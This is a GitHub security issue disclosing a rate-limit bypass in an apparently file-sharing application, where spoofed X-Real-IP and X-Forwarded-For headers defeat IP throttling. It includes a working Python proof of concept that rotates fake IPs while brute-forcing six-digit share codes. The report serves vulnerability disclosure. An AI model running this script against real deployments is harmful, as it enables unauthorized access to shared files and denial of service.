Skip to content

[SECURITY] bypass of ip rate limit due to improper trust in request headers #350

@Cycloctane

Description

@Cycloctane

Describe the bug

IPRateLimit determines client source ip using X-Real-IP and X-Forwarded-For headers from requests, which can be easily spoofed if the application is not behind a reverse proxy or the reverse proxy is not configured to explicitly drop X-Real-IP from incoming requests.

ip = (
request.headers.get("X-Real-IP")
or request.headers.get("X-Forwarded-For")

This allows attackers to bypass IPRateLimit.check_ip and brute force file codes or perform DoS attack.

PoC

import aiohttp
import asyncio
from random import randint

async def fetch(session: aiohttp.ClientSession, code: int) -> None:
    ip = ".".join(str(randint(1, 255)) for _ in range(4))
    async with session.request(
        "POST", "http://127.0.0.1:12345/share/select/",
        headers={"X-Real-IP": ip, "X-Forwarded-For": ip},
        json={"code": str(code).rjust(6, "0")},
    ) as resp:
        assert resp.status == 200

async def main():
    async with aiohttp.TCPConnector(limit=100) as conn, aiohttp.ClientSession(connector=conn) as session:
        await asyncio.gather(*[fetch(session, i) for i in range(100000)])

if __name__ == '__main__':
    asyncio.run(main())

Affected versions

<= 2.2

Additional context

CWE-307

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions